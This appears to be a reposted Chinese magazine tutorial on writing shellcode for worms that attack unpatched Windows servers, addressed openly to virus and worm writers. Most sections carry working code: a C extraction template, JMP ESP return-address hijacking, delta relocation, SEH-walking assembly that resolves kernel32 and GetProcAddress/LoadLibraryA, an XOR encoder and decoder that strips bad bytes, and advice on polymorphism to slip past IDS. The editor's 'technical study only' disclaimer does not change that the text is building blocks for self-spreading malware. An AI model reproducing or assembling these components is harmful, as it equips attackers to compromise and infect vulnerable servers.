| 关键词: ShellCode 代码 地址 emit 定位 esi 蠕虫 漏洞 函数 eax |
尽管漏洞在广泛流传之前微软就推出了相应的补丁,但为数众多粗心的管理员还是给hacker和蠕虫编写者以可乘之机。网络上数以万计带着漏洞顽强运行着的服务器成了hacker和Vxer的目标,想知道他们是如何利用这些漏洞的吗? 名词解释:Vxer,这里是指那些编写病毒和蠕虫的兄弟姐妹。 漏洞利用中最关键的环节就是ShellCode的编写。由于漏洞发现之初安全研究者一般都不会公布或不会完整地公布Exploit,因此对于蠕虫编写者,如果想最好地利用hacker的发现,一定要掌握ShellCode的编写技术。 一、什么是ShellCode 如果对ShellCode这个名词还很陌生的话,没关系,我简单解释一下,ShellCode实质上就是一段代码(其中可能会有填充数据),其用来发送到服务器利用特定的漏洞以获取控制权,获取了控制权之后,就可以为所欲为了:比如开个Shell,或打开端口,或安装个SMTP服务甚至是http服务......。之后要干什么不用我教你了吧?! 二、ShellCode编写要考虑的因素 ShellCode一般是作为数据形式发送给服务器制造溢出得以执行代码以获取控制权的。而不同的漏洞利用对于数据包的格式都有特殊的要求,ShellCode必须首先满足被攻击程序对于数据报格式的特殊要求,这些要求随漏洞的不同而有所不同。但ShellCode编写中面临的有些问题则是一致的,这包括: 1.ShellCode的编写语言。 用什么语言编写ShellCode最适合需要。这取决于是想以最快的速度编写可用的ShellCode还是想完全控制ShellCode的代码生成。 2.ShellCode本身代码的重定位。 3.ShellCode地址的定位。即如何通过溢出使控制权落在ShellCode手中。 4.ShellCode中使用的API地址的定位。 5.ShellCode的编码问题。 6.多态技术躲避IDS检测。 在下一部分,我们将针对这几个方面简单介绍ShellCode编写中应考虑的问题和所需要的技术。 三、ShellCode编写技术 1.ShellCode的编写语言 ShellCode本质上是可以用任何语言编写的,如果你喜欢,甚至可以用Basic编写。我们需要的是提取出生成的机器码,然后用在蠕虫中以获得快速传播。ShellCode使用汇编语言编写是最具有可控性的,因为我们可以完全通过指令控制代码生成。但缺点是编写需要耗费较多的时间,而且需要对汇编这种较难的语言有深入的了解,如果你精通汇编语言则推荐使用。C语言编写起来较为省力,速度较快,但ShellCode代码提取起来复杂一点,不过一旦写好一个模板,以后再写ShellCode基本就不需要改动了,想想还是省事。比如我们可以把ShellCode代码放在如下函数中: void ShellCodes() { //ShellCode代码 //函数结束标志字符串 __asm { nop nop nop nop nop nop nop nop } } 编者注:本文仅从技术角度来具体分析蠕虫中的各项关键技术,并不提供完整的蠕虫代码。大家在学习时,希望也请从技术交流和学习的角度出发。 然后在main()中用函数指针操作和memcmp定位ShellCode的开始和结束地址,这样在运行时只要用printf之类的函数将生成的ShellCode代码打印出来或保存在文件中就可以利用了: //shellcode的地址 pSc_addr=(char *)ShellCodes; //找到shellcode的结尾及长度 for(k=0;k<MAX_Sc_Len;++k)if(memcmp(pSc_addr+k,fnend_str,ENDSTRLEN)==0) break; if (k<MAX_Sc_Len) Sc_len=k; else { k=0; printf("\nNo End str defined in ShellCodes function!Please Check....\n"); return 0; } //把shellcode代码复制进sc_buff memcpy(sc_buff,pSc_addr,Sc_len); //打印到屏幕或保存到文件 PrintSc(buff,buff_len); ShellCode使用C编写比使用汇编语言省力的多,而且快速。考虑到蠕虫编写的时间要求,推荐用C。当然如果其它语言能够将生成的代码提取出来,也是完全可以的。思路类似,这里只是一个例子。 2.ShellCode代码地址的定位 一般地,最简单的情况是通过覆盖堆栈中的函数返回地址跳转到ShellCode代码执行。即程序执行时典型的堆栈结构如下: 局部变量 ..... 返回地址 用shellcode地址覆盖这里 通过ShellCode代码的地址覆盖返回地址,在程序溢出返回时即可跳转到我们的代码以获取控制权。如果ShellCode中代码的地址是固定的,则我们可以在ShellCode中固化该地址,这样控制权就可以获得了。但一个问题是ShellCode在堆栈中的位置在不同的系统中可能是不固定的,怎么办?天才的hacker想出了利用系统DLL中的JMP ESP或call esp,call [ebp+nn],call [esp+nn]之类的指令实现间接跳转。这样的好处,一是不需要知道ShellCode中代码本身在系统中的地址,另一个好处是可以对付strcpy之类函数溢出时对于0字节的截断,因为堆栈地址一般都是以00XXXXXX开始的,而系统DLL中指令的地址一般都是7FXXXXXX之类的地址,不包括0字节。至于具体的指令执行细节,请参考汇编指令手册,限于篇幅,这里不再赘述。 3.ShellCode本身代码的重定位 由于ShellCode可能位于目标系统中的无法准确定位的一个位置,因此要想ShellCode代码在你自己测试机以外的系统上运行,就必须对数据以及代码进行重定位。如果是用汇编语言编写的ShellCode,可以象在病毒用到的技术一样: call getDelta getDelta: pop ebp sub ebp,offset getDelta ...... 进行代码和数据的重定位,这个我们应该都不陌生了。一个问题是C语言编写的ShellCode如何重定位?我们好像并没有特别好的手段。事实上,C是可以内嵌汇编的,因此可以通过类似上面的内嵌汇编代码获得某些地址,然后只要预先将某些数据放在此处即可访问: _asm { jmp locate_addr0 getApiStr_addr: pop ApiStr_addr //获取数据地址 ....... } // //实际的ShellCode代码 // __asm { locate_addr0: call getApiStr_addr //5 bytes //真正的字符串数据可连接在此处 ///////////////////////// //定义结束标志 ///////////////////////// __asm { nop nop nop nop nop nop nop nop } } 编者注:重定位也是病毒编写中的基础技术,在我们杂志的2003年第7期“CVC病毒专栏”有详细分析,大家可以参考! 4.ShellCode中使用的API地址的定位 ShellCode代码的运行环境和病毒在某些方面是一致的,由于系统的不同,API函数的地址也不完全相同。因此要想蠕虫在不同Windows系统下传播,首先必须解决API地址的定位问题。API地址的定位关键是了解Windows DLL映像文件的格式,也就是PE的格式,然后通过搜索函数的Export表获取API的地址。相信你已经很熟悉了。定位系统DLL的常用方法有暴力搜索法、从进程PEB中获取和遍历SEH链表的方法。下面的可内嵌在C中的汇编代码通过遍历SEH链获取Kernel32基址,并搜索DLL映像的Export表获取LoadLibrary和GetProcAddress的地址,其后就可以利用这两个API获取任何其它的API地址了,你可以选择随便干点什么。 //开始获取API的地址以及GetProcAddress和LoadLibraryA的地址 //以后就可以方便地获取任何API的地址了 //保护寄存器 pushad xor esi,esi lods dword ptr fs:[esi] Search_Krnl32_lop: inc eax je Krnl32_Base_Ok dec eax xchg esi,eax LODSD jmp Search_Krnl32_lop Krnl32_Base_Ok: LODSD ;compare if PE_hdr xchg esi,eax find_pe_header: dec esi xor si,si ;kernel32 is 64kb align mov eax,[esi] add ax,-'ZM' ; jne find_pe_header mov edi,[esi+3ch] ;.e_lfanew mov eax,[esi+edi] add eax,-'EP' ;anti heuristic change this if you are using MASM etc. jne find_pe_header push esi ;esi=VA Kernel32.BASE ;edi=RVA K32.pehdr mov ebx,esi mov edi,[ebx+edi+78h] ;peh.DataDirectory push edi push esi mov eax,[ebx+edi+20h] ;peexc.AddressOfNames mov edx,[ebx+edi+24h] ;peexc.AddressOfNameOrdinals call __getProcAddr _emit 0x47 _emit 0x65 _emit 0x74 _emit 0x50 _emit 0x72 _emit 0x6F _emit 0x63 _emit 0x41 _emit 0x64 _emit 0x64 _emit 0x72 _emit 0x65 _emit 0x73 _emit 0x73 _emit 0x0 //db "GetProcAddress",0 __getProcAddr: pop edi mov ecx,15 sub eax,4 next_: add eax,4 add edi,ecx sub edi,15 mov esi,[ebx+eax] add esi,ebx mov ecx,15 repz cmpsb jnz next_ pop esi pop edi sub eax,[ebx+edi+20h] shr eax,1 add edx,ebx movzx eax,word ptr [edx+eax] add esi,[ebx+edi+1ch] add ebx,[esi+eax*4] pop esi ;esi=kernel32 Base mov [hKrnl32],esi //保存 mov [GetProcAddr],ebx //保存 call _getLoadLib _emit 0x4C _emit 0x6F _emit 0x61 _emit 0x64 _emit 0x4C _emit 0x69 _emit 0x62 _emit 0x72 _emit 0x61 _emit 0x72 _emit 0x79 _emit 0x41 _emit 0x0 //db "LoadLibraryA",0 _getLoadLib: push esi call ebx mov [LoadLib],eax //恢复寄存器,避免更多问题 popad 编者注:同样,API函数地址搜索也是病毒编写中的关键技术,我们在2003年第6期CVC病毒专栏也针对其中一种方法作了详细叙述。 5.ShellCode的编码问题 对于利用strcpy之类溢出漏洞的ShellCode,其中不能有0字节,否则就会被截断,不同的漏洞利用可能还有其它不同的要求。当然可以通过精选符合条件的指令来达到目的,但是那样太累了。一个简单的方法是编写一段符合条件的解码代码,其余代码则进行编码以满足特定的条件,这样工作量就大大减轻了。比如,如下的算法可用于编码: for(i=0;i<Sc_len;++i){ ch=sc_buff[i]^Enc_key; //对一些可能造成shellcode失效的字符进行替换 if(ch<=0x1f||ch==' '||ch=='.'||ch=='/'||ch=='\\'||ch=='0'||ch=='?'||ch=='%'||ch=='+') { buff[k]='0'; ++k; ch+=0x31; } //把编码过的shellcode放在DecryptSc代码后面 buff[k]=ch; ++k; } 而以下是运行时的解码汇编代码: jmp next getEncCodeAddr: pop edi push edi pop esi xor ecx,ecx Decrypt_lop: lodsb cmp al,cl jz shell cmp al,0x30 //判断是否为特殊字符 jz special_char_clean store: xor al,Enc_key stosb jmp Decrypt_lop special_char_clean: lodsb sub al,0x31 jmp store next: call getEncCodeAddr 这只是一种最简单的编码和解码方法,而对于Unicode的编码代码有特殊的要求,限于篇幅,这里不作讨论。 6.多态技术躲避IDS检测。 现代的IDS对于一些异常的数据报会简单地丢弃,为了避免自己千辛万苦手动编写的ShellCode失效,可以采用多态引擎进行处理,多态引擎可通过对网络数据流的统计分析重新对ShellCode编码。当然这是较高级的主题了,本文亦无篇幅做进一步的介绍了 |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|